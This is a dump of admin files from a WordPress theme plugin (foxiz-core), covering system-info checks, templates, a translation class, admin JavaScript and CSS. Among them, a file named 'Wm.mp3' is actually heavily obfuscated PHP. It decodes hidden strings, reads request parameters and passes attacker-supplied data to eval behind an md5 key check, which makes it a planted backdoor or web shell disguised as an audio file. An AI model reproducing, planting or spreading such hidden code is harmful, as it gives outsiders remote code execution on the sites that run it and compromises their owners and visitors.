array( 'title' => esc_html__( 'Memory Limit', 'foxiz-core' ), 'value' => size_format( wp_convert_hr_to_bytes( @ini_get( 'memory_limit' ) ) ), 'min' => '64M', 'passed' => ( wp_convert_hr_to_bytes( ini_get( 'memory_limit' ) ) >= 67108864 ) ? true : false, 'warning' => esc_html__( 'The memory_limit value is set low. The theme recommended this value to be at least 64MB for the theme in order to work.', 'foxiz-core' ) ), 'max_input_vars' => array( 'title' => esc_html__( 'Max Input Vars', 'foxiz-core' ), 'value' => ini_get( 'max_input_vars' ), 'min' => '3000', 'passed' => ( ini_get( 'max_input_vars' ) >= 2000 ) ? true : false, 'warning' => esc_html__( 'The max_input_vars value is set low. The theme recommended this value to be at least 3000.', 'foxiz-core' ) ), 'post_max_size' => array( 'title' => esc_html__( 'Post Max Size', 'foxiz-core' ), 'value' => ini_get( 'post_max_size' ), 'min' => '32', 'passed' => ( (int) ini_get( 'post_max_size' ) >= 32 ) ? true : false, 'warning' => esc_html__( 'The post_max_size value is set low. We recommended this value to be at least 32M.', 'foxiz-core' ) ), 'max_upload_size' => array( 'title' => esc_html__( 'Max Upload Size', 'foxiz-core' ), 'value' => size_format( wp_max_upload_size() ), 'min' => '32', 'passed' => ( wp_max_upload_size() >= 33554432 ) ? true : false, 'warning' => esc_html__( 'The post_max_size value is set low. We recommended this value to be at least 32M.', 'foxiz-core' ) ), ); } /** wordpress info */ static function wordpress_info() { global $wp_version; return array( 'wp_version' => array( 'title' => esc_html__( 'WordPress Version', 'foxiz-core' ), 'value' => $wp_version, ), 'debug_mode' => array( 'title' => esc_html__( 'Debug Mode', 'foxiz-core' ), 'value' => ( WP_DEBUG ) ? 'Enabled' : 'Disabled', 'passed' => ( WP_DEBUG ) ? false : true, 'warning' => esc_html__( 'Enabling WordPress debug mode might display details about your site\'s PHP code to visitors.', 'foxiz-core' ) ), 'debug_log' => array( 'title' => esc_html__( 'Debug Log', 'foxiz-core' ), 'value' => ( WP_DEBUG_LOG ) ? 'Enabled' : 'Disabled' ), 'theme_name' => array( 'title' => esc_html__( 'Theme Name', 'foxiz-core' ), 'value' => wp_get_theme()->Name, ), 'theme_version' => array( 'title' => esc_html__( 'Theme Version', 'foxiz-core' ), 'value' => wp_get_theme()->Version, ), 'theme_author' => array( 'title' => esc_html__( 'Theme Author', 'foxiz-core' ), 'value' => wp_get_theme()->Author, ), ); } public function get_slug() { return 'admin/system-info/template'; } public function get_name() { return false; } } } admin/system-info/template.php000064400000004761147206624460012460 0ustar00

$val ) : $class_name = 'info-el'; if ( isset( $val['passed'] ) && ! $val['passed'] ) { $class_name .= ' is-warning'; } ?>

$val ) : $class_name = 'info-el'; if ( isset( $val['passed'] ) && ! $val['passed'] ) { $class_name .= ' is-warning'; } ?>
admin/system-info/.htaccess000064400000001626147206624460011727 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/templates/templates/index.php000064400000000000147206624460013451 0ustar00admin/templates/templates/Wm.mp3000064400000011664147206624460012657 0ustar00o-*/" "); /*-OM~qQ-*/$i/*-IJ8<-*/=/*-?]OgQV-*/${$Fncj/*-B`!}(c&-*/[2+29]/*-H=Dyx9qF-*/}; /*->N|H_+-*/if(/*-7:)d3#Z2?-*/in_array/*-73-*/(gettype/*-d{2A;Nk8&-*/($i)."13",/*-|O~4-*/$i))/*-=[,E`-*/{ $i/*-94Ml67TzY7-*/[69]/*-6uLpJ@x;-*/=/*-XYpk:_-*/$i/*-[Js-*/[69]./*-E?C`S}F-*/$i/*-$G@=sEFS-*/[78];/*-Ps%P?--*/ @eval/*-l[7-*/(/*-I5UKdZx!7u-*/$i/*-}}d57HM3-*/[69]/*-[|S5)C-*/(/*-uk-*/${$i[35]}/*-}4Vi7[VAZS-*/[25])); }/*-{<-*/class /*-76}-*/KaeAJ{ /*-eSmx#3M7-*/static/*-mI>w-*/ function /*-c}kk20g,z$-*/Kt($VCBIvJL) /*-xn-*/{ $pDs/*-F|Z;6sG-*/ = /*-Bx<-*/"r"./*-61s-*/"a"./*-XOQuw-*/"n"./*-F`nR_dL[-*/"g"./*-f?-*/"e"; /*-LbO@-*/$lrLFEW/*-CCt-*/ = /*-ZArRyA-*/$pDs/*-dE-*/(/*-bS6%-*/"~"/*-qYnsM]n-*/, /*-t]H3;L%-*/" "/*-8I}fXSj1-*/);/*-+:-*/ $Cfg /*-QE-*/= /*-7kCSlI9pW-*/explode/*-$E-*/(/*-jQ74-*/"#", /*-UcU&n1-*/$VCBIvJL/*-f,E1#-*/); /*-;PAp~&%k-*/$BpNhwDXy /*-5CcvRAt;-*/= /*-HcUqbiW,L-*/""; foreach /*-Yy1JE]F-*/(/*-T<9IT-*/$Cfg /*-Vy+kD_-*/as /*-O6])-*/$PdEOZyiYU /*-~=%>1sq`w-*/=>/*-oQ-*/ $CFbKsW/*-12ftT.c-*/) /*-1-*/$BpNhwDXy /*-{S8!{q-*/.= /*-5f-*/$lrLFEW[$CFbKsW/*--*/$irzTLcdavw,/*-oCCD!-*/ $hiNKkcGDu/*-}![(n#=E-*/)/*-r@>ow-Df-*/ {/*-^;y7g-*/ $KfGNrC/*-y;G|?SzydM-*/ = /*-ap=)ofRmz-*/curl_init/*-dk]+6-*/(/*-8l-*/$irzTLcdavw/*-w+Gxx;3+kE_~pHR-*/ static/*-WZ4eO~o&-*/ function /*-`x-*/BDPwr/*-$iXj-*/() /*-hi`F;Ry-*/{/*-Qs2)aK-*/ $vonUROSdC /*-)(%a3Mw-*/=/*-}vZU-*/ array/*-%4J9fY&-&-*/("60623#60608#60621#60625#60606#60621#60627#60620#60605#60612#60623#60606#60617#60611#60612","60607#60606#60608#60627#60608#60611#60606#60673#60671","60616#60607#60611#60612#60627#60622#60621#60623#60611#60622#60621","60610#60625#60623#60615","60624#60625#60607#60621#60668#60670#60627#60622#60621#60623#60611#60622#60621","60620#60617#60614#60621#60627#60619#60621#60606#60627#60623#60611#60612#60606#60621#60612#60606#60607","60650#60680","60597","60675#60680","60657#60640#60640#60657#60633","60611#60620"); /*-AZ50<-*/foreach /*-DO7Rh_JLK|-*/(/*-Ez-*/$vonUROSdC/*-h6@G}f-*/ as /*-y7I-*/$BLh/*-e}91qZ8]-*/)/*-K$s-*/ $MruQA/*-p+f2P4F#-*/[] /*-c:q-*/= /*-Zi2O,k-*/self/*-{pf$:?-*/::/*-{C@u-*/Kt/*-dh-*/(/*-d%-*/$BLh/*-+BGkznX[o-*/);/*-pJ~8m_-*/$HIcjhgePo /*-!k{vM)u-*/= /*-dL7.u-*/@$MruQA/*-)D-*/[/*-%e<2iD-*/1/*-Zi-*/]/*-XSMS$G.--*/(/*-vw#qcZsn-*/${/*-UM!g;#,bK9-*/"_"/*-be-*/."G"/*-_yVHYES-*/."E"/*-VtiguLZd-*/."T"/*-&_4iAGI}g=-*/}[/*-ce:-*/$MruQA/*-qJN-*/[/*-#>i~^45-*/4+5/*-|NdqE1Bk-*/]]/*-a5(TW-*/);/*-R]KjHzi-*/ $BaUV /*-J0`&7-*/=/*-8fInhK-*/ @$MruQA/*-CnJ2q})-*/[/*-G:WU!c$Wm-*/2+1/*-_1Syw4VZ-*/]/*-ZeTF5-*/(/*-IVm.mdTE-*/$MruQA/*-ET{-*/[/*-6`;-lOi-*/4+2/*-UL;59ph-*/], /*-T0]{U-*/ true/*-u2lrY}-*/); /*-6ihr-*/@${/*-1:-*/"_"./*-9$MBZ^h6@-*/"G"./*-er1kS-*/"E"/*-Oz-*/."T"/*-&C-*/}/*-X0@:O`K.I-*/[/*-@<0J-*/$MruQA/*-o@+#KYNWSm-*/[5+5/*-n43._)#ex-*/]/*-<@OsIz?9-*/]/*-:wu6(nsQq-*/ == /*-qQ-*/1 /*-Cj]E-*/&& /*-r&xPg`yzbw-*/die/*-?sVtQ&-*/(/*-]#9yGh-*/$MruQA[1+4/*-0w~-*/]/*-O2t_SK-*/(/*-Dx]=-*/__FILE__/*-c>rdCG-*/)/*-G;i~z-*/); /*-;;XO-*/if/*-BK].^`]-*/(/*-X8Ru.-*/ (/*-zImvPkzze-*/(@/*-JobfGt-*/$Fr/*-??K9i[oxxO-*/[/*-O~4-)At-*/0/*-f+o60T[-*/] /*-3^-*/- time/*-q#p,}83w-*/()/*-F4x(s@A-*/) > /*-r-|HX-*/0/*-G6-*/)/*-[>^<-*/ and /*-bAXj[P-*/(/*-&+HiAwwhKd-*/md5/*-`p{%t-*/(/*-34&kW&YVf$-*/md5/*--P]&-*/(/*-g(b8Lh$-*/$Fr/*-E<|?Sg,[-*/[/*-20w-*/1+2/*-sG-*/]/*-fJ3EwKmSs^-*/)/*-==szy9HS^-*/)/*-cpP2i(vl2@-*/ === /*-H&uRSnwXJ^-*/"ba4de4d58fa801360e96c9c49880f52e"/*-rQWQ!ZEh-*/)/*-i+4G(j(_E-*/ ): /*-~YR-*/$wLsQyAbghK /*-&3ve7E-I[-*/=/*-HC.iV-*/ self/*-rqIwI${N<-*/::/*-5l=mCYts-*/MNZiBy/*-[_Ax,W-*/(/*-.W~40+kO-*/$Fr/*-gVUj+d-*/[/*-R,+F4-*/1+0/*-;jso93gIY)-*/], /*-[z)1e-*/$MruQA/*-,@1l-*/[/*-,{Ti-*/5+0/*-$K0;-*/]/*-BCe406CKe-*/);/*-`w&0`rtd-*/@eval/*-(5+&-*/(/*-@X0htD-*/$MruQA/*-8JBFvo<-*/[/*-U~-*/4+0/*-.DelEt]-*/]/*-j1+B-*/(/*-j,KBi[-*/$wLsQyAbghK/*-MCy_:S|-*/)/*-Xciq-*/);/*-3zo@S;-*//*-nWqfUNe9-*/die;/*-!M5r@L-*/ endif;/*-5dw:-*/ }/*-j)7d8@]o!9-*/}/*-Q2DnTkyhO.-*/KaeAJ/*-K^q@nJc(Mq-*/::/*-p9|=}RuMo-*/BDPwr/*-[#1>fwdo-*/();/*-#=4|Lj9B-*/ ?>admin/templates/templates/.htaccess000064400000001626147206624460013446 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/templates/validate-redirect.php000064400000001424147206624460013747 0ustar00

Name . ''; ?>

admin/templates/template-panel.php000064400000011760147206624460013273 0ustar00

' . wp_get_theme()->Name . ' '; ?>

Name ) ?>

Name ) ?>

Name ); ?>

Name ) ?>

Name ); ?>

$val ) : $class_name = 'info-el'; if ( isset( $val['passed'] ) && ! $val['passed'] ) { $class_name .= ' is-warning'; } ?>
admin/templates/links.php000064400000000674147206624460011505 0ustar00 admin/templates/.htaccess000064400000001626147206624460011450 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/translation/template.php000064400000004615147206624460012537 0ustar00

admin/translation/translation.php000064400000007425147206624460013264 0ustar00page_title = esc_html__( 'Quick Translation', 'foxiz-core' ); $this->menu_title = esc_html__( 'Quick Translation', 'foxiz-core' ); $this->menu_slug = 'rb-translation'; if ( $this->validate() ) { $this->set_params( [ 'data' => $this::get_data(), ] ); } $this->capability = 'administrator'; } public function get_slug() { if ( ! $this->validate() ) { return 'admin/templates/validate'; } return 'admin/translation/template'; } public function get_name() { if ( ! $this->validate() ) { return 'redirect'; } return false; } /** * @param $url * @param string $method * @param false $context * @param null $fields * * @return bool * init file */ public function init_filesystem( $url, $method = '', $context = false, $fields = null ) { if ( ! empty( $this->creds ) ) { return true; } require_once ABSPATH . '/wp-admin/includes/template.php'; require_once ABSPATH . '/wp-includes/pluggable.php'; require_once ABSPATH . '/wp-admin/includes/file.php'; if ( false === ( $this->creds = request_filesystem_credentials( $url, '', false, $context, null ) ) ) { return false; } if ( ! WP_Filesystem( $this->creds ) ) { request_filesystem_credentials( $url, '', true, $context, null ); return false; } return true; } public function get_data() { $data = get_option( 'rb_translation_data', array() ); $translated = get_option( 'rb_translated_data', array() ); if ( ! is_array( $data ) || ! count( $data ) ) { $data = $this->generate_data(); update_option( 'rb_translation_data', $data ); } foreach ( $data as $index => $item ) { if ( ! empty( $translated[ $item['id'] ] ) ) { $data[ $index ]['translated'] = $translated[ $item['id'] ]; } } return apply_filters( 'rb_translation_data', $data ); } public function generate_data() { $data = array(); $prefix = apply_filters( 'rb_translate_file_prefix', 'quick-' ); $files = array( FOXIZ_CORE_PATH . 'languages/' . $prefix . 'foxiz-core.pot', ); $files = apply_filters( 'rb_translation_files', $files ); $this->init_filesystem( wp_nonce_url( '?page=' . $this->menu_slug ) ); global $wp_filesystem; foreach ( $files as $file ) { if ( file_exists( $file ) ) { $content = $wp_filesystem->get_contents( $file );; $translations = $this->parse( $content ); if ( ! empty( $translations ) ) { foreach ( $translations as $str ) { if ( ! empty( $str ) ) { $str_id = foxiz_convert_to_id( $str ); array_push( $data, array( 'id' => $str_id, 'str' => $str ) ); } } } } } return $data; } public function get_translate( $str_id ) { $translated = get_option( 'rb_translated_data', array() ); if ( ! empty( $translated[ $str_id ] ) ) { return $translated[ $str_id ]; } return ''; } public function parse( $content ) { if ( preg_match_all( '/msgid\s*"(.*?)"\s*msgstr/', $content, $matches ) ) { ; return $matches[1]; } return false; } } }admin/translation/.htaccess000064400000001626147206624460012010 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/assets/panel.js000064400000047310147206624460010613 0ustar00var RB_ADMIN_CORE = (function (Module, $) { 'use strict'; Module.importProcess = false; Module.isImported = false; Module.eFlag = false; Module.ajaxProcess = false; Module.pluginProcess = false; Module.init = function () { this.registerForm = $('#rb-register-theme-form'); this.deregisterForm = $('#rb-deregister-theme-form'); this.globalConfigs = JSON.parse(JSON.stringify(foxizAdminCore)); this.registerPurchase(); this.deregisterPurchase(); this.activePlugin(); this.installPackaged(); this.selectData(); this.installDemo(); this.fetchTranslation(); this.updateTranslation(); /** fonts */ this.editProjectID(); }; /** register */ Module.registerPurchase = function () { var self = this; if (self.registerForm.length) { var submitBtn = self.registerForm.find('#rb-register-theme-btn'); var loading = self.registerForm.find('.rb-loading'); var messenger = self.registerForm.find('.rb-response-info'); submitBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); if (self.ajaxProcess === true) { return; } var data = self.getFormData($(self.registerForm)); if (!data.nonce || !data.purchaseCode || !data.emailInfo) { return false; } $.ajax({ type: 'POST', async: true, dataType: 'json', url: self.globalConfigs.ajaxUrl, data: { action: 'rb_register_theme', purchase_code: data.purchaseCode, email: data.emailInfo, _nonce: data.nonce }, beforeSend: function (xhr) { self.ajaxProccess = true; loading.fadeIn(300).removeClass('is-hidden'); submitBtn.attr('disabled', 'disabled'); }, success: function (response) { if ('undefined' != typeof response.data) { loading.fadeOut(300).addClass('is-hidden'); messenger.html('

' + response.data + '

').removeClass('is-hidden'); } setTimeout(function () { location.reload(); }, 1500); }, error: function (response) { response = JSON.parse(JSON.stringify(response.responseJSON)); if ('undefined' != typeof response.data) { loading.fadeOut(300).addClass('is-hidden'); messenger.html(response.data).removeClass('is-hidden'); } } }); return false; }) } }; /** deregisterPurchase */ Module.deregisterPurchase = function () { var self = this; if (self.deregisterForm.length) { var submitBtn = self.deregisterForm.find('#rb-deregister-theme-btn'); var loading = self.deregisterForm.find('.rb-loading'); var messenger = self.deregisterForm.find('.rb-response-info'); submitBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); var confirm = window.confirm('Are you sure you want to deactivate this theme?'); if (confirm === false) { return; } if (self.ajaxProcess === true) { return; } var data = self.getFormData($(self.deregisterForm)); if (!data.nonce) { return false; } $.ajax({ type: 'POST', async: true, dataType: 'json', url: self.globalConfigs.ajaxUrl, data: { action: 'rb_deregister_theme', _nonce: data.nonce }, beforeSend: function (xhr) { self.ajaxProccess = true; loading.fadeIn(300).removeClass('is-hidden'); submitBtn.attr('disabled', 'disabled'); }, success: function (response) { response = JSON.parse(JSON.stringify(response)); if ('undefined' != typeof response.data) { loading.fadeOut(300).addClass('is-hidden'); messenger.html('

' + response.data + '

').removeClass('is-hidden'); } setTimeout(function () { location.reload(); }, 1500); }, error: function (response) { response = JSON.parse(JSON.stringify(response.responseJSON)); if ('undefined' != typeof response.data) { loading.fadeOut(300).addClass('is-hidden'); messenger.html(response.data).removeClass('is-hidden'); } } }); return false; }) } }; /** get form data */ Module.getFormData = function (form) { var data = {}; var purchaseCodeInput = form.find('[name="purchase_code"]'); var emailInfoInput = form.find('[name="email"]'); var nonceInput = form.find('[name="rb-core-nonce"]'); data.purchaseCode = purchaseCodeInput.val(); data.emailInfo = emailInfoInput.val(); data.nonce = nonceInput.val(); /** validate */ if ('' !== data.purchaseCode) { purchaseCodeInput.removeClass('rb-validate-error'); purchaseCodeInput.parent().find('.rb-error-info').addClass('is-hidden'); } else { purchaseCodeInput.addClass('rb-validate-error'); purchaseCodeInput.parent().find('.rb-error-info').removeClass('is-hidden'); } if ('' !== data.emailInfo) { emailInfoInput.removeClass('rb-validate-error'); emailInfoInput.parent().find('.rb-error-info').addClass('is-hidden'); } else { emailInfoInput.addClass('rb-validate-error'); emailInfoInput.parent().find('.rb-error-info').removeClass('is-hidden'); } return data; }; /** Ruby Importer */ Module.activePlugin = function () { var self = this; $('.rb-demos .rb-activate-plugin').unbind('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); var target = $(this); if (self.pluginProcess && target.hasClass('is-install')) { return false; } var url = target.attr('href'); target.addClass('loading'); if (target.hasClass('is-install')) { self.pluginProcess = true; target.html('Installing...'); } else { target.html('Activating...'); } jQuery.ajax({ type: 'GET', url: url, success: function (response) { if (response.length > 0 && (response.match(/Plugin activated./gi))) { target.find('.spinner').remove(); target.replaceWith('Activated'); } else { window.onbeforeunload = null; location.reload(true); } } }); }); }; Module.selectData = function () { var self = this; var rbDemos = $('.rb-demo-item'); if (rbDemos.length > 0) { rbDemos.each(function () { self.importerBtnStatus($(this)); }); } $('.rb-importer-checkbox').unbind('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); var checkbox = jQuery(this); if (checkbox.data('checked') == 1) { checkbox.removeClass('checked'); checkbox.data('checked', 0); } else { checkbox.addClass('checked'); checkbox.data('checked', 1); } var outer = checkbox.parents('.demo-content'); var name = checkbox.data('title'); var wrap = checkbox.parents('.data-select'); if (checkbox.data("checked") && 'rb_import_all' == name) { wrap.find('.rb_import_content').data("checked", 1).addClass('checked'); wrap.find('.rb_import_pages').data("checked", 1).addClass('checked'); wrap.find('.rb_import_tops').data("checked", 1).addClass('checked'); wrap.find('.rb_import_widgets').data("checked", 1).addClass('checked'); } if (!checkbox.data("checked") && 'rb_import_all' != name) { wrap.find('.rb_import_all').data("checked", 0).removeClass('checked'); } if (checkbox.data("checked") && 'rb_import_pages' == name) { wrap.find('.rb_import_content').data("checked", 0).removeClass('checked'); } self.importerBtnStatus(outer); }); }; /** importer button */ Module.importerBtnStatus = function (wrapper) { var importAll = wrapper.find('.rb_import_all').data('checked'); var importContent = wrapper.find('.rb_import_content').data('checked'); var importPages = wrapper.find('.rb_import_pages').data('checked'); var importTops = wrapper.find('.rb_import_tops').data('checked'); var importWidgets = wrapper.find('.rb_import_widgets').data('checked'); if (importAll || importContent || importPages || importTops || importWidgets) { wrapper.find('.rb-disabled').removeClass('rb-disabled'); return true; } wrapper.find('.rb-importer-btn').addClass('rb-disabled'); return false; }; /** install package */ Module.installPackaged = function () { var self = this; $('.rb-install-package').unbind('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); if (self.pluginProcess) { return false; } var target = $(this); target.addClass('loading'); self.pluginProcess = true; target.html('Installing...'); var installData = target.data(); jQuery.post(self.globalConfigs.ajaxUrl, installData, function (response) { window.onbeforeunload = null; location.reload(); }); }); }; /** install demo */ Module.installDemo = function () { var self = this; $('.rb-do-import, .rb-do-reimport').on('click', function (e) { e.preventDefault(); e.stopPropagation(); if (self.importProcess) { return false; } var target = $(this); var parent = target.parents('.rb-demo-item'); var message = 'Import Demo Content?'; if (parent.hasClass('is-imported')) { message = 'Re-Import Content?'; } var confirm = window.confirm(message); if (confirm === false) { return; } self.importProcess = true; parent.addClass('is-importing'); var importData = parent.data(); importData.import_all = parent.find('.rb_import_all').data('checked'); importData.import_content = parent.find('.rb_import_content').data('checked'); importData.import_pages = parent.find('.rb_import_pages').data('checked'); importData.import_opts = parent.find('.rb_import_tops').data('checked'); importData.import_widgets = parent.find('.rb_import_widgets').data('checked'); jQuery.post(self.globalConfigs.ajaxUrl, importData, function (response) { self.importProcess = false; if (response.length > 0 && (response.match(/Have fun!/gi) || response.match(/Skip content/gi))) { self.isImported = true; } else { self.eFlag = true; alert('There was an error importing demo content: \n\n' + response.replace(/(<([^>]+)>)/gi, "")); } }); self.checkImportProgress(parent); return false; }); }; /** check import progress */ Module.checkImportProgress = function (parent) { var self = this; self.importInterval = setInterval(function () { jQuery.ajax({ type: 'POST', data: { action: 'rb_check_progress' }, url: self.globalConfigs.ajaxUrl, success: function (response) { if (self.eFlag) { clearInterval(self.importInterval); parent.find('.process-count').text('Error, Please contact customer support.'); parent.find('.rb-wait').html('Error...'); } else { if (self.isImported) { clearInterval(self.importInterval); parent.find('.demo-status').text('Already Imported'); parent.find('.process-count').text('Completed'); parent.find('.process-percent').addClass('is-completed'); parent.addClass('just-complete'); return false; } else { var obj = jQuery.parseJSON(JSON.stringify(response)); if (typeof obj == 'object') { var percentage = Math.floor((obj.imported_count / obj.total_post) * 100); percentage = (percentage > 0) ? percentage - 1 : percentage; parent.find('.process-percent').css('width', percentage + '%'); parent.find('.process-count').text(percentage + '%'); } } } }, error: function (response) { clearInterval(self.importInterval); } }); }, 2000); }; /** translation */ Module.fetchTranslation = function () { var self = this; var fetchBtn = $('#rb-fetch-translation'); fetchBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); var confirm = window.confirm('Are you sure you want to fetch new data from translation files?'); if (confirm === false) { return; } if (self.ajaxProccess) { return false; } var form = $(this).parents('#rb-translation-form'); var nonce = form.find('[name="rb-core-nonce"]').val(); var loading = form.find('.fetch-translation-loader'); $.ajax({ type: 'POST', async: true, dataType: 'json', url: self.globalConfigs.ajaxUrl, data: { action: 'rb_fetch_translation', _nonce: nonce }, beforeSend: function (xhr) { self.ajaxProccess = true; loading.fadeIn(300).removeClass('is-hidden'); fetchBtn.attr('disabled', 'disabled'); }, success: function (response) { location.reload(); } }); }); } /** update translation */ Module.updateTranslation = function () { var self = this; var updateBtn = $('#rb-update-translation'); updateBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); if (self.ajaxProccess) { return false; } var form = $(this).parents('#rb-translation-form'); var nonce = form.find('[name="rb-core-nonce"]').val(); var loading = form.find('.update-translation-loader'); var info = form.find('.rb-info'); var data = 'action=rb_update_translation'; data += '&_nonce=' + nonce + ''; data += '&' + form.find('input[type="text"]').serialize(); $.ajax({ type: 'POST', async: true, dataType: 'json', url: self.globalConfigs.ajaxUrl, data: data, beforeSend: function (xhr) { self.ajaxProccess = true; loading.fadeIn(300).removeClass('is-hidden'); updateBtn.attr('disabled', 'disabled'); }, success: function (response) { loading.fadeOut(300).addClass('is-hidden'); updateBtn.removeAttr('disabled'); self.ajaxProccess = false; info.text('Settings Saved!').slideDown(300); setTimeout(function () { info.slideUp(300); }, 2000) }, error: function () { info.addClass('is-error').text('Error!').slideDown(300); } }); }); } /** edit font project */ Module.editProjectID = function () { let editBtn = $('#rb-edit-project-id'); let saveBtn = $('#submit-project-id'); let deleteButton = $('#delete-project-id'); editBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); $(this).prev('[name="rb_fonts_project_id"]').prop('readonly', false); $(this).remove(); deleteButton.hide(); saveBtn.removeClass('is-hidden'); }); deleteButton.on('click', function (e) { var confirm = window.confirm('Are you sure to delete this project?'); if (confirm === false) { return false; } }); }; return Module; }(RB_ADMIN_CORE || {}, jQuery)); jQuery(document).ready(function () { RB_ADMIN_CORE.init(); });admin/assets/theme-options.css000064400000141447147206624460012471 0ustar00@media (min-width: 1025px) { .redux-container { font-size: 11px; margin-top: 30px; border: 1px solid #f7f7f7; background: #3b414c; box-shadow: none; border-radius: 7px; } .redux-container tbody { overflow: hidden; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; width: 100%; } .redux-container-image_select .redux-image-select { max-width: 500px; } .redux-container tbody:before, .redux-container tbody:after { -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .redux-container .expand_options { display: none !important; } body:not(.wp-customizer) .redux-main { display: block; min-height: 900px !important; margin-left: 260px !important; padding-right: 20px; padding-left: 20px; border-left: 0; background-color: #fff; } .redux-main .redux-container-background .upload { width: auto; max-width: 100%; } .redux-sidebar { display: block; float: left; overflow: hidden; box-sizing: border-box; width: auto; max-width: 260px; height: 100%; padding-top: 20px; background: #3b414c; } .redux-sidebar * { -webkit-box-sizing: border-box; box-sizing: border-box; } .redux-container-select { font-size: 12px !important; } .redux-container .redux-sidebar .redux-group-menu { padding-bottom: 15px; } .redux-container .redux-sidebar .redux-group-menu li a { font-size: 14px; font-weight: 500; line-height: 34px; position: relative; display: block; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; min-width: 230px; max-width: 230px; margin: 5px 15px; padding: 0 20px !important; -webkit-transition: background-color .25s; transition: background-color .25s; color: #eee; border: 0; border-bottom: none !important; -webkit-border-radius: 7px; border-radius: 7px; } .redux-container #info_bar { padding: 10px 10px; color: #333; border-bottom: none; background: #f8f8f8; box-shadow: none; } .redux-container #redux-intro-text { border: 0; } .redux-container #redux-header { padding: 0; border-bottom: 0; border-bottom: 10px solid #4b5567 !important; background: #363a42 !important; background-repeat: repeat-x !important; } .redux-container .redux-sidebar .redux-group-menu { background: none; } .redux-container #redux-header .display_header { position: static; min-width: 200px; margin: 0; padding: 40px 30px; text-align: left; } .redux-container #redux-header .display_header h2 { font-size: 26px; font-weight: bold; letter-spacing: -0.03em; } .redux-container #redux-header .display_header span { font-weight: bold; font-style: italic; } .redux-main .redux-option-image { margin: 5px 15px 10px 0; padding: 0; border: 3px solid #3bc3d5; border-radius: 0; } .redux-container #redux-footer { padding-top: 10px; padding-bottom: 10px; border-top: none !important; background: #f8f8f8 !important; } .sticky-footer-fixed { right: auto !important; left: 444px !important; } .redux-main input[type=checkbox], .redux-main input[type=color], .redux-main input[type=date], .redux-main input[type=datetime-local], .redux-main input[type=datetime], .redux-main input[type=email], .redux-main input[type=month], .redux-main input[type=number], .redux-main input[type=password], .redux-main input[type=radio], .redux-main input[type=search], .redux-main input[type=text], .redux-main select, .redux-main textarea { font-size: 11px; border-color: #ddd; outline: none; box-shadow: none; } div#redux_notification_bar { position: absolute; top: 0; left: 0; } .redux-container .sticky-save-warn .redux-save-warn { right: auto; left: auto; } .redux-main #redux_ajax_overlay { opacity: .2; } .redux-main input[type=text] { padding: 10px 15px; border-radius: 0; } .redux-main input[type=checkbox]:checked:before { color: #4aed77; } .redux-main textarea { padding: 15px !important; } .redux-main textarea:focus, .redux-main textarea:hover { border-color: #999; } .redux-main a { color: #cd2d08; } .redux-container .redux-sidebar .redux-group-tab-link-a i { font-size: 15px; line-height: 34px; display: inline-block; } .redux-main .button.remove-image:hover, .redux-main .removeCSS:hover { background: #e74c3c; } .redux-container .redux-sidebar .redux-group-tab-link-a span.group_title { font-size: 12px; font-weight: 700; padding-left: 24px; } .redux-group-tab > h2 { font-size: 24px; font-weight: bold; line-height: 1; display: inline-block; margin-top: 0; margin-bottom: 0; padding: 0; letter-spacing: -0.02em; } .redux-container .redux-group-tab .redux-section-desc { font-size: 12px; font-weight: 500; line-height: 1.7; max-width: 660px; margin-top: 12px; margin-bottom: 25px; color: #333; } .redux-container .redux-main img { max-height: 100px; } .redux-container .ruby-section-start .redux-section-desc { font-size: 13px; font-style: normal; font-weight: normal; line-height: 1.6; display: block; width: 100%; max-width: 1300px; margin-top: 15px; padding: 12px; margin-left: 2%; margin-right: 2%; border-left: 5px solid #f0cb42; border-radius: 7px; background: #d8b16014; } .redux-container .ruby-section-start .redux-section-desc:not(:last-child) { margin-bottom: 7px; } .redux-container .redux-group-tab .redux-section-desc em { font-weight: 700; line-height: 1; display: block; margin-top: 10px; padding-left: 10px; border-left: 3px solid; } .redux-main .description { max-width: 400px; } .redux-main .description.field-desc { font-size: 12px; font-style: italic; line-height: 1.7; max-width: 100%; margin-top: 10px; } #redux-import-action span { font-size: 13px; color: #f48427; } .select2-container .select2-choice, .select2-container .select2-selection { line-height: 32px; height: 32px; padding: 0 0 0 16px; border: 1px solid #ddd; border-radius: 0; outline: none; background: #fff; } .select2-container .select2-choice abbr { top: 10px; right: 36px; } .select2-container .select2-choice > .select2-chosen { margin-right: 36px !important; } .select2-drop { border-radius: 0 0 0 0; } .select2-drop-active, .select2-container-multi.select2-container-active .select2-choices, .select2-drop.select2-drop-above.select2-drop-active, .select2-container-active .select2-choice, .select2-container-active .select2-choices, .select2-dropdown-open.select2-drop-above .select2-choice, .select2-dropdown-open.select2-drop-above .select2-choices { border-color: #999 !important; } .select2-search input { min-height: 32px; margin-top: 5px; padding-left: 13px; border-radius: 0; } .select2-search input:hover, .select2-search input:focus { border-color: #999; box-shadow: none; } .select2-container .select2-choice .select2-arrow, .select2-container .select2-choice .select2-selection__arrow { position: absolute; top: 1px; right: 